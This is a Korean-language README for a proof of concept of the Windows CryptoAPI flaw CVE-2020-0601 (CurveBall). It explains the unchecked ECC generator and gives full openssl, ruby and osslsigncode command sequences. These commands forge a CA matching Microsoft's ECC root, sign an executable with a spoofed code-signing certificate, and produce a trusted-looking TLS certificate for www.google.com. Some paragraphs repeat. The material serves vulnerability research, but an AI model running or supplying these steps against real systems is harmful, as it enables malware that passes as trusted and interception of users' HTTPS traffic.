
CVE-2020-0601- Windows CryptoAPI (Crypt32.dll)용 PoC
CVE-2020-0601, 일반적으로 CurveBall이라고도 불리는 이 취약점은 타원 곡선 암호화(ECC)를 사용하는 인증서의 서명이 올바르게 검증되지 않는 취약점입니다.
ECC는 다양한 매개변수에 의존합니다. 이러한 매개변수는 많은 곡선에 대해 표준화되어 있습니다. 그러나 Microsoft는 이러한 모든 매개변수를 확인하지 않았습니다. 매개변수 G(생성자, generator)는 확인되지 않았으며, 공격자는 따라서 자신만의 생성자를 제공할 수 있습니다. 이로 인해 Microsoft가 신뢰할 수 있는 CA에 대해 인증서를 검증하려고 할 때, 일치하는 공개 키만 찾은 다음 인증서의 생성자를 사용하게 됩니다. NSA는 이 취약점의 영향과 자세한 내용을 여기에서 설명합니다.
MicrosoftECCProductRootCertificateAuthority.cer은 Windows 10에서 기본적으로 ECC를 사용하는 신뢰할 수 있는 루트 인증 기관(CA)입니다. 따라서 이 인증서로 서명된 모든 것은 자동으로 신뢰됩니다.
최소 요구 사항
openssl 1.1.0
ruby 2.4.0
취약점의 수학적 세부 사항에 관심이 있다면 여기에서 더 읽어보세요.
인증서를 스푸핑하기 위해 다음 매개변수를 설정합니다:
d' = 1
G' = Q
이때 Q = Q' = d'G'입니다.
신뢰할 수 있는 CA의 공개 키 및 매개변수와 동일한 인증서를 생성합니다. 이것이 우리의 스푸핑 CA로 사용됩니다. 개인 키를 알고 있는 값으로 생성자를 설정합니다. Q = dG이므로 생성자를 공개 키로 쉽게 설정하고 개인 키를 1로 설정할 수 있습니다.
다음으로, 사용하려는 확장명(예: 코드 서명 또는 서버 인증)을 포함한 인증서 서명 요청(CSR)을 생성합니다.
이 인증서 요청을 스푸핑된 CA와 CA 키로 서명하고 사용 확장명을 추가합니다.
서명된 인증서 요청(이제 일반 인증서)을 스푸핑된 CA와 함께 묶으면, 서명되고 신뢰되는 인증서를 갖게 됩니다.
Windows가 인증서가 신뢰되는지 확인할 때, 인증서가 우리의 스푸핑된 CA에 의해 서명되었음을 확인합니다. 그런 다음 스푸핑된 CA의 공개 키를 확인하여 신뢰할 수 있는 CA와 대조합니다. 그런 다음 스푸핑된 CA의 생성자를 사용하여 스푸핑된 CA의 서명을 단순히 검증합니다 — 이것이 문제입니다.
새로 서명된 신뢰 인증서를 Windows에서 열기로 선택한 경우, 해당 인증서가 어떤 것에도 연결되어 있지 않으므로 Windows는 이를 신뢰된 것으로 인식하지 않으며, 따라서 스푸핑된 CA를 사용하지 않습니다. 인증서는 항상 스푸핑된 CA와 함께 제공되어야 합니다.
교육 및 연구 목적으로만 사용하시기 바랍니다.
CA에서 공개 키를 추출하고 취약점에 따라 수정합니다:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
이 키를 기반으로 새 x509 인증서를 생성합니다. 이것이 우리만의 스푸핑된 CA가 됩니다.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
새 키를 생성합니다. 이 키는 원하는 어떤 유형이든 될 수 있습니다. 이 키는 우리의 CA로 서명할 코드 서명 인증서를 만드는 데 사용됩니다.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
다음으로, 새 인증서 서명 요청(CSR)을 생성합니다. 이 요청은 일반적으로 신뢰할 수 있는 CA에 보내지지만, 우리는 스푸핑된 CA가 있으므로 직접 서명할 수 있습니다.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
새 CSR을 스푸핑된 CA와 CA 키로 서명합니다. 이 인증서는 2047년에 만료되는 반면, 실제 신뢰할 수 있는 Microsoft CA는 2043년에 만료됩니다.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
남은 것은 인증서, 해당 키, 스푸핑된 CA를 실행 파일 서명용 PKCS12 파일로 패키징하는 것뿐입니다.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
PKCS12 파일로 실행 파일에 서명합니다.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
교육 및 연구 목적으로만 사용하시기 바랍니다. CA에서 공개 키를 추출하고 취약점에 따라 수정합니다:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
이 키를 기반으로 새 x509 인증서를 생성합니다. 이것이 우리만의 스푸핑된 CA가 됩니다.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
새 키를 생성합니다. 이 키는 원하는 어떤 유형이든 될 수 있습니다. 이 키는 우리의 CA로 서명할 SSL 인증서를 만드는 데 사용됩니다.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
다음으로, 새 인증서 서명 요청(CSR)을 생성합니다. 이 요청은 일반적으로 신뢰할 수 있는 CA에 보내지지만, 우리는 스푸핑된 CA가 있으므로 직접 서명할 수 있습니다.
도메인 이름을 변경하려면 openssl_tls.conf 안의 CN = www.google.com을 CN = www.example.com으로 편집하세요.
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
새 CSR을 스푸핑된 CA와 CA 키로 서명합니다. 이 인증서는 2047년에 만료되는 반면, 실제 신뢰할 수 있는 Microsoft CA는 2043년에 만료됩니다.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
이제 cert.crt, cert.key, spoofed_ca.crt를 사용하여 콘텐츠를 제공할 수 있습니다. 다시 한번, 서버의 HTTPS 구성에 인증서 체인으로 spoofed_ca.crt를 추가하는 것을 잊지 마세요.
사용 예시는 tls/index.js를 참조하세요.